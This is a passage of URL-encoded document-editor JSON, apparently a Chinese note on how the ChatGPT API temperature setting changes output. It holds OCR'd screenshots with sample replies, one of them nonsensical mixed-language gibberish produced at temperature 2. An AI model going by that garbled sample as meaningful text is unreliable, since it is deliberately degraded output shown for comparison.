c%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682414187193-90266de2-6230-47f6-bfb0-0fa3c4a3b013.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A879%2C%22height%22%3A251%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A39974%2C%22width%22%3A799.0908917710805%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22udcccc533-9400-40d9-943f-4ae5bc2453c%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A752.4799%2C%22y%22%3A64.633224%2C%22width%22%3A100.2924999999999%2C%22height%22%3A17.798186%2C%22text%22%3A%22TEMPERATURE-2%22%7D%2C%7B%22x%22%3A18.83254%2C%22y%22%3A170.12582%2C%22width%22%3A653.6088100000001%2C%22height%22%3A14.403079999999989%2C%22text%22%3A%22%E5%A6%82%E6%9E%9C%E6%B8%A9%E5%BA%A6%E5%8F%82%E6%95%B0%E4%B8%BA2%2C%E5%88%99%E7%94%9F%E6%88%90%E7%9A%84%E6%96%87%E6%9C%AC%E5%B0%86%E4%BC%9A%E6%9B%B4%E5%8A%A0%E5%88%9B%E6%96%B0%2C%E5%A4%9A%E6%A0%B7%E5%8C%96%2C%E4%BD%86%E4%B9%9F%E6%9B%B4%E5%8A%A0%E5%AE%B9%E6%98%93%E5%87%BA%E7%8E%B0%E8%AF%AD%E6%B3%95%E5%92%8C%E8%AF%AD%E4%B9%89%E9%94%99%E8%AF%AF.%E5%9B%A0%E4%B8%BA%E8%BE%83%E9%AB%98%E7%9A%84%22%7D%2C%7B%22x%22%3A19.274523%2C%22y%22%3A191.25496%2C%22width%22%3A658.838277%2C%22height%22%3A14.928419999999988%2C%22text%22%3A%22%E6%B8%A9%E5%BA%A6%E4%BC%9A%E5%A2%9E%E5%8A%A0%E6%A8%A1%E5%9E%8B%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%80%A7%E5%92%8C%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%2C%E4%BD%BF%E5%BE%97%E7%94%9F%E6%88%90%E7%9A%84%E6%96%87%E6%9C%AC%E6%9B%B4%E5%8A%A0%E5%85%B7%E6%9C%89%E5%8F%98%E5%8C%96%E6%80%A7%E5%92%8C%E9%9A%BE%E4%BB%A5%E9%A2%84%E6%B5%8B%E6%80%A7.%E5%9B%A0%E6%AD%A4%2C%E9%9C%80%E8%A6%81%E5%9C%A8%E5%BA%94%E7%94%A8%E4%B8%AD%22%7D%2C%7B%22x%22%3A19.402245%2C%22y%22%3A211.59387%2C%22width%22%3A356.276255%2C%22height%22%3A15.84917999999999%2C%22text%22%3A%22%E6%A0%B9%E6%8D%AE%E5%85%B7%E4%BD%93%E6%83%85%E5%86%B5%E7%81%B5%E6%B4%BB%E8%B0%83%E6%95%B4%E6%B8%A9%E5%BA%A6%E5%8F%82%E6%95%B0%2C%E4%BB%A5%E5%8F%96%E5%BE%97%E6%9C%80%E5%A5%BD%E7%9A%84%E5%B9%B3%E8%A1%A1%E6%95%88%E6%9E%9C.%22%7D%5D%2C%22search%22%3A%22TEMPERATURE-2%20%E5%A6%82%E6%9E%9C%E6%B8%A9%E5%BA%A6%E5%8F%82%E6%95%B0%E4%B8%BA2%2C%E5%88%99%E7%94%9F%E6%88%90%E7%9A%84%E6%96%87%E6%9C%AC%E5%B0%86%E4%BC%9A%E6%9B%B4%E5%8A%A0%E5%88%9B%E6%96%B0%2C%E5%A4%9A%E6%A0%B7%E5%8C%96%2C%E4%BD%86%E4%B9%9F%E6%9B%B4%E5%8A%A0%E5%AE%B9%E6%98%93%E5%87%BA%E7%8E%B0%E8%AF%AD%E6%B3%95%E5%92%8C%E8%AF%AD%E4%B9%89%E9%94%99%E8%AF%AF.%E5%9B%A0%E4%B8%BA%E8%BE%83%E9%AB%98%E7%9A%84%20%E6%B8%A9%E5%BA%A6%E4%BC%9A%E5%A2%9E%E5%8A%A0%E6%A8%A1%E5%9E%8B%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%80%A7%E5%92%8C%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%2C%E4%BD%BF%E5%BE%97%E7%94%9F%E6%88%90%E7%9A%84%E6%96%87%E6%9C%AC%E6%9B%B4%E5%8A%A0%E5%85%B7%E6%9C%89%E5%8F%98%E5%8C%96%E6%80%A7%E5%92%8C%E9%9A%BE%E4%BB%A5%E9%A2%84%E6%B5%8B%E6%80%A7.%E5%9B%A0%E6%AD%A4%2C%E9%9C%80%E8%A6%81%E5%9C%A8%E5%BA%94%E7%94%A8%E4%B8%AD%20%E6%A0%B9%E6%8D%AE%E5%85%B7%E4%BD%93%E6%83%85%E5%86%B5%E7%81%B5%E6%B4%BB%E8%B0%83%E6%95%B4%E6%B8%A9%E5%BA%A6%E5%8F%82%E6%95%B0%2C%E4%BB%A5%E5%8F%96%E5%BE%97%E6%9C%80%E5%A5%BD%E7%9A%84%E5%B9%B3%E8%A1%A1%E6%95%88%E6%9E%9C.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23faf9f8%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u7cd1e2db%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u38cdbe5e%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682414197111-6454a6bb-d3de-4a44-8c25-dea8d3d275d6.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A876%2C%22height%22%3A288%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A46744%2C%22width%22%3A796.3636191029198%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u564a7e38-9444-4c63-b1e9-f804af9d7c4%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A744.5514%2C%22y%22%3A73.33464%2C%22width%22%3A113.00070000000005%2C%22height%22%3A15.349366000000003%2C%22text%22%3A%22TEMPERATURE-0.2%22%7D%2C%7B%22x%22%3A23.456823%2C%22y%22%3A178.02094%2C%22width%22%3A650.893027%2C%22height%22%3A16.5308%2C%22text%22%3A%22%E5%A6%82%E6%9E%9C%E6%B8%A9%E5%BA%A6%E5%8F%82%E6%95%B0%E4%B8%BA0.2%2C%E5%88%99%E7%94%9F%E6%88%90%E7%9A%84%E6%96%87%E6%9C%AC%E5%B0%86%E6%9B%B4%E5%8A%A0%E4%BF%9D%E5%AE%88%2C%E7%A8%B3%E5%AE%9A%2C%E5%90%8C%E6%97%B6%E4%B9%9F%E5%85%B7%E5%A4%87%E8%BE%83%E9%AB%98%E7%9A%84%E8%AF%AD%E6%B3%95%E5%92%8C%E8%AF%AD%E4%B9%89%E5%87%86%E7%A1%AE%E6%80%A7%2C%E9%80%82%E7%94%A8%E4%BA%8E%E4%B8%80%E4%BA%9B%22%7D%2C%7B%22x%22%3A23.929502%2C%22y%22%3A199.20001%2C%22width%22%3A645.032998%2C%22height%22%3A14.980970000000013%2C%22text%22%3A%22%E9%9C%80%E8%A6%81%E7%B2%BE%E5%87%86%E5%9B%9E%E7%AD%94%E7%9A%84%E5%9C%BA%E5%90%88.%E7%94%B1%E4%BA%8E%E4%BD%8E%E6%B8%A9%E5%BA%A6%E4%BC%9A%E9%99%8D%E4%BD%8E%E6%A8%A1%E5%9E%8B%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%80%A7%E5%92%8C%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%2C%E5%9B%A0%E6%AD%A4%E7%94%9F%E6%88%90%E7%9A%84%E6%96%87%E6%9C%AC%E7%9B%B8%E5%AF%B9%E7%BC%BA%E4%B9%8F%E5%88%9B%E6%96%B0%E5%92%8C%E5%8F%98%E5%8C%96%22%7D%2C%7B%22x%22%3A24.350231%2C%22y%22%3A220.10881%2C%22width%22%3A657.7287689999999%2C%22height%22%3A15.03673999999998%2C%22text%22%3A%22%E6%80%A7.%E4%BD%86%E5%9C%A8%E4%B8%80%E4%BA%9B%E5%AF%B9%E5%87%86%E7%A1%AE%E6%80%A7%E8%A6%81%E6%B1%82%E8%BE%83%E9%AB%98%E7%9A%84%E5%BA%94%E7%94%A8%E4%B8%AD%2C%E8%BF%99%E7%A7%8D%E4%BF%9D%E5%AE%88%E5%92%8C%E5%87%86%E7%A1%AE%E7%9A%84%E7%89%B9%E6%80%A7%E5%8F%AF%E8%83%BD%E6%9B%B4%E6%9C%89%E4%BC%98%E5%8A%BF%2C%E4%BE%8B%E5%A6%82%E5%9C%A8%E5%8C%BB%E7%96%97%E5%92%A8%E8%AF%A2%2C%E6%B3%95%E5%BE%8B%E5%92%A8.%22%7D%2C%7B%22x%22%3A24.093994%2C%22y%22%3A241.53989%2C%22width%22%3A103.35318000000001%2C%22height%22%3A13.941509999999994%2C%22text%22%3A%22%E8%AF%A2%E7%AD%89%E9%A2%86%E5%9F%9F%E7%9A%84%E5%BA%94%E7%94%A8.%22%7D%2C%7B%22x%22%3A587.2846%2C%22y%22%3A277.82422%2C%22width%22%3A109.58454000000006%2C%22height%22%3A10.627439999999979%2C%22text%22%3A%222023%2F4%2F25.17%3A15%3A29%22%7D%5D%2C%22search%22%3A%22TEMPERATURE-0.2%20%E5%A6%82%E6%9E%9C%E6%B8%A9%E5%BA%A6%E5%8F%82%E6%95%B0%E4%B8%BA0.2%2C%E5%88%99%E7%94%9F%E6%88%90%E7%9A%84%E6%96%87%E6%9C%AC%E5%B0%86%E6%9B%B4%E5%8A%A0%E4%BF%9D%E5%AE%88%2C%E7%A8%B3%E5%AE%9A%2C%E5%90%8C%E6%97%B6%E4%B9%9F%E5%85%B7%E5%A4%87%E8%BE%83%E9%AB%98%E7%9A%84%E8%AF%AD%E6%B3%95%E5%92%8C%E8%AF%AD%E4%B9%89%E5%87%86%E7%A1%AE%E6%80%A7%2C%E9%80%82%E7%94%A8%E4%BA%8E%E4%B8%80%E4%BA%9B%20%E9%9C%80%E8%A6%81%E7%B2%BE%E5%87%86%E5%9B%9E%E7%AD%94%E7%9A%84%E5%9C%BA%E5%90%88.%E7%94%B1%E4%BA%8E%E4%BD%8E%E6%B8%A9%E5%BA%A6%E4%BC%9A%E9%99%8D%E4%BD%8E%E6%A8%A1%E5%9E%8B%E7%9A%84%E9%9A%8F%E6%9C%BA%E6%80%A7%E5%92%8C%E4%B8%8D%E7%A1%AE%E5%AE%9A%E6%80%A7%2C%E5%9B%A0%E6%AD%A4%E7%94%9F%E6%88%90%E7%9A%84%E6%96%87%E6%9C%AC%E7%9B%B8%E5%AF%B9%E7%BC%BA%E4%B9%8F%E5%88%9B%E6%96%B0%E5%92%8C%E5%8F%98%E5%8C%96%20%E6%80%A7.%E4%BD%86%E5%9C%A8%E4%B8%80%E4%BA%9B%E5%AF%B9%E5%87%86%E7%A1%AE%E6%80%A7%E8%A6%81%E6%B1%82%E8%BE%83%E9%AB%98%E7%9A%84%E5%BA%94%E7%94%A8%E4%B8%AD%2C%E8%BF%99%E7%A7%8D%E4%BF%9D%E5%AE%88%E5%92%8C%E5%87%86%E7%A1%AE%E7%9A%84%E7%89%B9%E6%80%A7%E5%8F%AF%E8%83%BD%E6%9B%B4%E6%9C%89%E4%BC%98%E5%8A%BF%2C%E4%BE%8B%E5%A6%82%E5%9C%A8%E5%8C%BB%E7%96%97%E5%92%A8%E8%AF%A2%2C%E6%B3%95%E5%BE%8B%E5%92%A8.%20%E8%AF%A2%E7%AD%89%E9%A2%86%E5%9F%9F%E7%9A%84%E5%BA%94%E7%94%A8.%202023%2F4%2F25.17%3A15%3A29%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23faf9f8%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u25a39d34%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u3946381c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22temperature%E9%BB%98%E8%AE%A4%E6%98%AF0.8%EF%BC%8C%E6%9C%80%E9%AB%98%E4%B8%BA2%E3%80%82%E9%80%9A%E5%B8%B8%E6%9D%A5%E8%AF%B4%EF%BC%8C%E5%9C%A8%E8%AF%A2%E9%97%AE%E5%85%B7%E6%9C%89%E5%88%9B%E9%80%A0%E5%8A%9B%E7%9A%84%E7%BB%93%E6%9E%9C%E6%97%B6%EF%BC%8C%E5%8F%AF%E4%BB%A5%E8%AE%A9temperature%E6%8F%90%E9%AB%98%EF%BC%8C%E6%9D%A5%E8%8E%B7%E5%BE%97%E6%9B%B4%E6%9C%89%E6%84%8F%E6%80%9D%E7%9A%84%E7%BB%93%E6%9E%9C%E3%80%82%E5%9C%A8%E8%AF%A2%E9%97%AE%E6%9F%90%E4%BA%9B%E4%BA%8B%E5%AE%9E%E6%88%96%E8%80%85%E5%87%86%E7%A1%AE%E7%9A%84%E5%86%85%E5%AE%B9%E6%97%B6%EF%BC%8C%E5%8F%AF%E4%BB%A5%E9%99%8D%E4%BD%8Etemperature%E6%9D%A5%E8%8E%B7%E5%BE%97%E6%9B%B4%E5%87%86%E7%A1%AE%E7%9A%84%E7%BB%93%E6%9E%9C%E3%80%82%E4%BD%A0%E5%8F%AF%E4%BB%A5%E5%9C%A8%E8%B0%83%E7%94%A8api%E7%9A%84%E6%97%B6%E5%80%99%E8%AE%BE%E7%BD%AE%E8%BF%99%E4%B8%AA%E5%8F%82%E6%95%B0%E6%9D%A5%E6%8E%A7%E5%88%B6%E5%AE%83%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u76b861c8%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue514d86a%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E6%98%AFtemperature%E4%B8%BA0.2%E6%97%B6%E8%BF%94%E5%9B%9E%E7%9A%84%E7%BB%93%E6%9E%9C%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u6322ce0f%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u21879efa%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682415164898-b9e3bd69-c96f-4642-ad45-6a2d74e5b791.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A861%2C%22height%22%3A246%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A22380%2C%22width%22%3A782.7272557621163%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u6e574ab9-2779-4ffa-bd7b-69dfffd93e6%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A467.532%2C%22y%22%3A81.68456%2C%22width%22%3A375.02134000000007%2C%22height%22%3A15.733424%2C%22text%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E4%B8%80%E4%B8%AA%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%2C%E6%96%87%E7%AB%A0%E7%9A%84%E5%86%85%E5%AE%B9%E6%98%AFCHATGPT%E7%9A%84%E5%90%84%E7%A7%8D%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F%22%7D%2C%7B%22x%22%3A8.813176%2C%22y%22%3A185.79999%2C%22width%22%3A481.485894%2C%22height%22%3A17.19829999999999%2C%22text%22%3A%22%5C%22EXPLORING%20THE%20VERSATILE%20APPLICATIONS%20OF%20CHATGPT%3AA%20COMPREHENSIVE%20GUIDE%5C%22%22%7D%2C%7B%22x%22%3A394.36124%2C%22y%22%3A224.62048%2C%22width%22%3A108.09163999999998%2C%22height%22%3A11.175240000000002%2C%22text%22%3A%222023%2F4%2F2517%3A32%3A21%22%7D%5D%2C%22search%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E4%B8%80%E4%B8%AA%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%2C%E6%96%87%E7%AB%A0%E7%9A%84%E5%86%85%E5%AE%B9%E6%98%AFCHATGPT%E7%9A%84%E5%90%84%E7%A7%8D%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F%20%5C%22EXPLORING%20THE%20VERSATILE%20APPLICATIONS%20OF%20CHATGPT%3AA%20COMPREHENSIVE%20GUIDE%5C%22%202023%2F4%2F2517%3A32%3A21%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23fcfcfb%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u5df0944f%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u0c501aa2%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BD%93temperature%E4%B8%BA2%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8Cchatgpt%E5%B0%B1%E6%9C%89%E7%82%B9%E5%84%BF%E5%82%BB%EF%BC%8C%E8%BF%94%E5%9B%9E%E7%9A%84%E9%9D%9E%E5%87%86%E7%A1%AE%E5%86%85%E5%AE%B9%E4%B8%AD%E4%BC%9A%E5%A4%A7%E9%87%8F%E7%9A%84%E9%9A%8F%E6%9C%BA%E5%90%84%E7%A7%8D%E7%BB%93%E6%9E%9C%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u10b4ed6c%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u91d80c4a%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682415257373-50bba6be-05ef-4cc2-9f6d-af2aee651364.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A870%2C%22height%22%3A301%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A56631%2C%22width%22%3A790.9090737665985%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u5407ee3e-1eb2-4574-b3b3-7465b1e8d83%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A473.33945%2C%22y%22%3A78.879616%2C%22width%22%3A373.72724999999997%2C%22height%22%3A17.254058999999998%2C%22text%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E4%B8%80%E4%B8%AA%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%2C%E6%96%87%E7%AB%A0%E7%9A%84%E5%86%85%E5%AE%B9%E6%98%AFCHATGPT%E7%9A%84%E5%90%84%E7%A7%8D%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F%22%7D%2C%7B%22x%22%3A14.440646%2C%22y%22%3A185.59961%2C%22width%22%3A643.298304%2C%22height%22%3A15.066879999999998%2C%22text%22%3A%22%E5%A6%82%E4%B8%8B%E6%98%AF%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E7%9A%84%E4%B8%80%E4%B8%AA%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%3A%5C%22%E8%AE%BE%E8%AE%A1%E4%B8%8E(CHATPPT%E4%B8%80%E6%A0%B7OR%E5%A4%87%E5%8F%98%E5%8F%98%2C%E8%83%BD%E5%A4%A7%E5%A4%A7)%E8%83%BD%E5%A4%A7%E5%A4%A7)%E8%83%BD%E5%93%8D%E4%BA%BA%E7%B1%BB%E6%B2%9F%E5%BC%82(BREASURYON%22%7D%2C%7B%22x%22%3A15.319581%2C%22y%22%3A207.3093%2C%22width%22%3A599.599919%2C%22height%22%3A13.251080000000002%2C%22text%22%3A%22BRUSH%20ATHOW%20COME%20FOID)%20GAD%E5%90%B8%E8%83%BD%5C%22%2C%E6%82%A8%E9%9C%80%E8%A6%81%E5%90%88%E9%80%82%E4%BA%92%E8%AF%A5(DRONANDBAERE-READWITHOUTINTERRUPTERRUPTED%22%7D%2C%7B%22x%22%3A14.922945%2C%22y%22%3A228.99876%2C%22width%22%3A656.656355%2C%22height%22%3A13.248689999999982%2C%22text%22%3A%22SPECIFIED-ADDED%20ARBITRARY%20LETLE%20PACKAGE%3F%E6%88%91%E4%B8%8BJUNAPP%E6%8E%A5TAYOU-SONDHEIM%20IN%20BUTNO%20MATTERMATTER%22%7D%2C%7B%22x%22%3A14.733117%2C%22y%22%3A247.82463%2C%22width%22%3A442.056803%2C%22height%22%3A16.01786999999996%2C%22text%22%3A%22%E5%91%A8TITETS-PROZERIAL%20ASSISTANCE%20TOMAKE%20SENSETO%20ANY%20CONFUSED%20RESPONSE%22%7D%2C%7B%22x%22%3A482.34448%2C%22y%22%3A248.13626%2C%22width%22%3A171.76272000000006%2C%22height%22%3A15.657590000000027%2C%22text%22%3A%22(%E8%98%B8LITSEY%3B)%3F%20%20ADLEDONE%E8%BF%99%22%7D%2C%7B%22x%22%3A14.601468%2C%22y%22%3A268.43362%2C%22width%22%3A433.52363199999996%2C%22height%22%3A16.712220000000002%2C%22text%22%3A%22SATA%E4%BA%BABE%20BAR%20%E5%9C%A8LINE%E7%94%B5MYCLIENT-IP%20%E5%AD%9F%E5%8E%95NEEDIL%E4%B8%93%20EXPERTIN%E7%9B%B8%E5%85%B3%E5%86%85%E5%AE%B9%3B%22%7D%5D%2C%22search%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E4%B8%80%E4%B8%AA%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%2C%E6%96%87%E7%AB%A0%E7%9A%84%E5%86%85%E5%AE%B9%E6%98%AFCHATGPT%E7%9A%84%E5%90%84%E7%A7%8D%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F%20%E5%A6%82%E4%B8%8B%E6%98%AF%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E7%9A%84%E4%B8%80%E4%B8%AA%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%3A%5C%22%E8%AE%BE%E8%AE%A1%E4%B8%8E(CHATPPT%E4%B8%80%E6%A0%B7OR%E5%A4%87%E5%8F%98%E5%8F%98%2C%E8%83%BD%E5%A4%A7%E5%A4%A7)%E8%83%BD%E5%A4%A7%E5%A4%A7)%E8%83%BD%E5%93%8D%E4%BA%BA%E7%B1%BB%E6%B2%9F%E5%BC%82(BREASURYON%20BRUSH%20ATHOW%20COME%20FOID)%20GAD%E5%90%B8%E8%83%BD%5C%22%2C%E6%82%A8%E9%9C%80%E8%A6%81%E5%90%88%E9%80%82%E4%BA%92%E8%AF%A5(DRONANDBAERE-READWITHOUTINTERRUPTERRUPTED%20SPECIFIED-ADDED%20ARBITRARY%20LETLE%20PACKAGE%3F%E6%88%91%E4%B8%8BJUNAPP%E6%8E%A5TAYOU-SONDHEIM%20IN%20BUTNO%20MATTERMATTER%20%E5%91%A8TITETS-PROZERIAL%20ASSISTANCE%20TOMAKE%20SENSETO%20ANY%20CONFUSED%20RESPONSE%20(%E8%98%B8LITSEY%3B)%3F%20%20ADLEDONE%E8%BF%99%20SATA%E4%BA%BABE%20BAR%20%E5%9C%A8LINE%E7%94%B5MYCLIENT-IP%20%E5%AD%9F%E5%8E%95NEEDIL%E4%B8%93%20EXPERTIN%E7%9B%B8%E5%85%B3%E5%86%85%E5%AE%B9%3B%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f9f8f6%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u057f66e8%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u535eba26%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%BD%93temperature%E4%B8%BA1%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8Cchatgpt%E7%9B%B8%E5%AF%B9%E6%AF%94%E8%BE%83%E5%B9%B3%E8%A1%A1%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u797f0dc5%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22u22ccd2d4%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682415312723-4c03d813-d4c8-4942-9ac1-481d76010449.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A876%2C%22height%22%3A348%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A44377%2C%22width%22%3A796.3636191029198%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22uac2b8e49-1baf-4af0-a5c9-be3da2edf76%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A476.97098%2C%22y%22%3A74.07455%2C%22width%22%3A375.22812000000005%2C%22height%22%3A16.949600000000004%2C%22text%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E4%B8%80%E4%B8%AA%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%2C%E6%96%87%E7%AB%A0%E7%9A%84%E5%86%85%E5%AE%B9%E6%98%AFCHATGPT%E7%9A%84%E5%90%84%E7%A7%8D%E4%BD%BF%E7%94%A8%E6%96%B9%E5%BC%8F%22%7D%2C%7B%22x%22%3A17.785892%2C%22y%22%3A177.63188%2C%22width%22%3A189.328958%2C%22height%22%3A17.921070000000014%2C%22text%22%3A%22%E5%A6%82%E4%B8%8B%E6%98%AF%E4%B8%80%E4%BA%9B%E6%96%87%E7%AB%A0%E6%A0%87%E9%A2%98%E4%BE%9B%E6%82%A8%E5%8F%82%E8%80%83%3A%22%7D%2C%7B%22x%22%3A30.428782%2C%22y%22%3A217.00208%2C%22width%22%3A208.73308799999998%2C%22height%22%3A15.438490000000002%2C%22text%22%3A%221.%E6%8E%A2%E7%B4%A2GPT-3%E7%9A%84%E5%90%84%E7%A7%8D%E8%81%8A%E5%A4%A9%E5%BA%94%E7%94%A8%E5%9C%BA%E6%99%AF%22%7D%2C%7B%22x%22%3A30.76952%2C%22y%22%3A241.51544%2C%22width%22%3A212.25431%2C%22height%22%3A14.694860000000006%2C%22text%22%3A%222.%E5%88%A9%E7%94%A8CHATGPT%E8%AE%A9%E6%9C%BA%E5%99%A8%E5%8F%98%E5%BE%97%E6%9B%B4%E6%99%BA%E8%83%BD%22%7D%2C%7B%22x%22%3A31.605642%2C%22y%22%3A264.25284%2C%22width%22%3A255.23078800000002%2C%22height%22%3A16.613519999999994%2C%22text%22%3A%223.%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8CHATGPT%E5%A2%9E%E5%BC%BA%E6%82%A8%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%22%7D%2C%7B%22x%22%3A32.24609%2C%22y%22%3A289.47705%2C%22width%22%3A294.